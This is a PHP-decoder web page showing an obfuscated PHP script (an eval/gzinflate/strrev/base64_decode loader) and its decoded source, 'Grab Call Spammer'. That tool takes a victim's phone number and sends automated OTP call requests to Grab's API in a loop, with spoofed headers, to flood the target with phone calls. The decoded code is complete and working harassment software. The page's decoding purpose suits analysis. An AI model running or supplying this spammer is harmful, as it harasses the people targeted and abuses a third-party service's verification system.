Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $q='r';$CjFV='_';$xu='a';$R='v';$pBcN='l';$QiY='n';$VtT='b';$KFEcf='c';$pfXSv='s';$u..

Decoded Output download

?>------------------------------------------------|             SPAM TELPON UNLIMETED            |
------------------------------------------------
|      Athor     = Radja Aditya Chandra        |
|      Update    = 07-January-2019             |
|      TooL Spam = Telpon    		       |
|      GitHub    = -			       |
|      Info      = Gunakan Dengan Bijak Yee ^_^|
------------------------------------------------

<?php
system('clear'); function get(){ return trim(fgets(STDIN)); } class prankcall{ public function __construct($no){ $this->number = $no; } private function get(){ return trim(fgets(STDIN)); } private function correct($no){ $cek = substr($no,0,2); if($cek=="08"){ $no = "62".substr($no,1); } return $no; } private function ekse(){ $no = $this->correct($this->number); $rand = rand(0123456,9999999); $rands = $this->randStr(12); $post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production"; $h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands"; $h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8"; $h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)"; $h[] = "Content-Type: application/x-www-form-urlencoded"; $h[] = "Content-Length: ".strlen($post); $h[] = "Host: api.grab.com"; $h[] = "Connection: close"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_HTTPHEADER, $h); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $x = curl_exec($ch); curl_close($ch); $ekse = json_decode($x,true); if(empty($ekse['challengeID'])){ echo "Gagal
"; }else{ echo "Sukses
"; } } private function loop($many,$sleep=null){ $a=0; $no = $this->correct($this->number); while($a<$many){ $rand = rand(0123456,9999999); $rands = $this->randStr(12); $post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production"; $h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands"; $h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8"; $h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)"; $h[] = "Content-Type: application/x-www-form-urlencoded"; $h[] = "Content-Length: ".strlen($post); $h[] = "Host: api.grab.com"; $h[] = "Connection: close"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_HTTPHEADER, $h); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $x = curl_exec($ch); curl_close($ch); $ekse = json_decode($x,true); if(empty($ekse['challengeID'])){ continue; }else{ $nn = $a+1; echo "[$nn] Sukses
"; $a++; } if($sleep!=null) sleep($sleep); if($a>=$many) echo "
Completed!
"; } } private function randStr($l){ $data = "abcdefghijklmnopqrstuvwxyz1234567890"; $word = ""; for($a=0;$a<$l;$a++){ $word .= $data{rand(0,strlen($data)-1)}; } return $word; } public function run(){ while(true){ echo "[?] Mode Banyak (y/n) ==> "; $loop = $this->get(); if($loop=="y" OR $loop=="n"){ break; }else{ echo "Jika ya jawab y jika tidak jawab n
"; continue; } } if($loop=="y"){ echo "[?] JumlahSpam Korban ==> "; $many = $this->get(); $this->loop($many); }else{ $this->ekse(); } } } echo " 
"; echo " 
"; echo " 
"; echo "________________________________________________
"; echo " 
"; echo " 
"; echo " ____                         ____      _ _
/ ___| _ __   __ _ _ __ ___  / ___|__ _| | |
\___ \| '_ \ / _` | '_ ` _ \| |   / _` | | |
 ___) | |_) | (_| | | | | | | |__| (_| | | |
|____/| .__/ \__,_|_| |_| |_|\____\__,_|_|_|
      |_|                              
                                    
"; echo " 
"; echo "==============================================
	  [+] GRAB CALL SPAMMER [+]
 
 Coded by  : Radja Aditya Chandra
 Github    : https://github.com/Aditya021/
 Versi     : 2.0
 Pendukung : Nurrul Aini 
 Update    : 16-Jan-2019
==============================================
"; system ('echo'); sleep ('0.4'); echo "[?] Masukan No Target ==> "; $no = get(); $n = new prankCall($no); $n->run(); 

Did this file decode correctly?

Original Code

<?php $q='r';$CjFV='_';$xu='a';$R='v';$pBcN='l';$QiY='n';$VtT='b';$KFEcf='c';$pfXSv='s';$uTxS='4';$Kh='f';$kHSHB='o';$EP='t';$mt='g';$Oe='z';$uCEN='d';$Mb='i';$vQWLE='e';$FX='6';$g=$mt.$Oe.$Mb.$QiY.$Kh.$pBcN.$xu.$EP.$vQWLE;$rIb=$VtT.$xu.$pfXSv.$vQWLE.$FX.$uTxS.$CjFV.$uCEN.$vQWLE.$KFEcf.$kHSHB.$uCEN.$vQWLE;$ZT=$pfXSv.$EP.$q.$q.$vQWLE.$R;eval($g($ZT($rIb('B/g9muUMpYG0WXVayYB3t3TPgr5KKIy0FVS0PugDEmAwRuyxqMksBUtctFuqtrh9yp2NRAyDYwOxui7KeO08LMmqmjU2+oTZo1XcoJj8LQhZlJm6AjGJkmy8LnOAVaqNqNACTLk/gFa9Rq3RrvypgrH4ZlhNbndfNzqBYh2n80A5wweuL6EVAWgj3bTzbqrS+gfa16jhrzcutGwFGk/aEwHj1t8eFHqI6HizjU3Wcg6BzudSv/UkJYoKmKAnxVAW1VpBYWB71JH6sWaGnqZpltEyEgcjHqUFAn+agT82k+BsBavQRXCv4AWrSb0kK56OB7UdTQXrRqFOA6bVjQ8HhAlgX44nnc+PSpQILl3sWm5XS3pG5Xl80q1fN9B/Dul9S8AWIckR/1JVfMhpsh++jfMXu3vzlu15GUJBp5Q8DTrQ3DmENjNhvqawDCYIfwMu+TZyUNQFQSuWD1nCLzTNYG0YNphlUpJVxqUjpAt+2wZRNeY0iLHx4+wG3inDXd8vHJl9GUpZ0TKoJmS9K75NqoUQmV63fL1mysEvOllSTOq/rNbVRhUcTmke4SBKGyVDXnRziKIJSSLN6kWuzvXgWdb/zt2ZfZpJln8URU4SZuD9jR8euhsKeRkLLAslSW0GWOJw/nvcp4njCIOJXZnNwOtrewAV5Yci1Brjrn6wq8L6eIpNzbDt0l1jyGugiX5R0Y9E2w8FBCS7I+/GRA0hwsb4p/++O/3x3++O/tEPijezGohB+Z5wtfva2zMgUhhZFtjzkJKUrzEymlGxRRhtxZ/w0SiQz9wS+Ew8d8nkV4WY2I8UEfruOQxl1xvN6F14MEx9cNy7QobnTfdFIOuCyYK26UZHdOPHCRJN4iDwUSgOUzKDkv4S7lvwG0u3Sh0mwnv+3Vr0Hdei4Pa9mGP+yIe7Ydbtx+cGDx8iD5jywK/Yc7tJ/eUN/9QKg/rPzqxj4uNKLWpdTXqX2rwJNGpC62rWaTjTT9FAqvg4Hzs516Lg4FfrhLoxRp4SL094XQCIE6pRctx9c9pwlEJGJshlcEXLfpo3VX6jHVB1iS4x4hXlzMoZ4SnxeAm/UpYwdlCfvIWi4XIZMzU5Io5mbNnNbtVzox66McWZKMeYOa0ikSIPyNeU+2noQWfsHvrVWq7YVVpaMC1VYbVV7WGySOE2kXMa2aXCRfUaztmoWl3VWFwSzMLgFVqvXbPvcOTzCBCbzGxnGJh2anHl1y1ka4q1Mr1tHDmWxt2tzDbtY7ml90Prto4fAmvAzUk8Zz/JTW9sTXl/r5EX6lMvIyxOeBR2+Q63ZjtDk91RDjYvAvQqNmkq7wSP2IveB248iD85UiZRuF506tB9nr3o5TlpKSUcUudJ1MqPstDYrJ25Y9XZXbV63LxvVYZejRDydoStyKj9Yte7Z+RZ7jcJJ8lpD/lyIldbhrqxRu3FaIRE8JFO1ou2y2gyMGEgaVWKsEBqIbJISgny5RK+SkjciB/4kn42QvgyxTiUIWPEuQ6bIrfMSD9SlfkIiSjU3MypJEjcccTFdwMMNnEK/DCy4mJksQJJZDcDvURluk8OD+jEsIRjUwZUgKTNPJBX8o1PMeFQDTcJlGD3lG5M5DcNjU+Uk8yQuP2LvN4UWwf+PnR8OcX8CbDcH7XxjFyHATCbBMo9NcgijET/cfs+bGahs49IKO8e+z2fQQSOMPAYJFNmP0DqKIME5Sq3wu+qw2bnJjImB+bXrAmuUsexFwTkJK2SeEz4HBnOkF5aDDd5j0NmapI/UrQlyFAVTwosI64faD205Odui4XWfnO7QYU63n+j6wFjifNb3fdm7t7dft7dyQx7H7zfV9D9CC73b+/+K8ikl6S4SJByR6bUbzN8AdEPtVKg7TYq1qBAkYamGWxX8ufwStpT/Rft'))));

Function Calls

strrev 1
gzinflate 1
base64_decode 1

Variables

$R v
$g gzinflate
$q r
$EP t
$FX 6
$Kh f
$Mb i
$Oe z
$ZT strrev
$mt g
$xu a
$QiY n
$VtT b
$rIb base64_decode
$CjFV _
$pBcN l
$uCEN d
$uTxS 4
$KFEcf c
$kHSHB o
$pfXSv s
$vQWLE e

Stats

MD5 c939eeb960758d4b5c5771dcdbca67cb
Eval Count 1
Decode Time 137 ms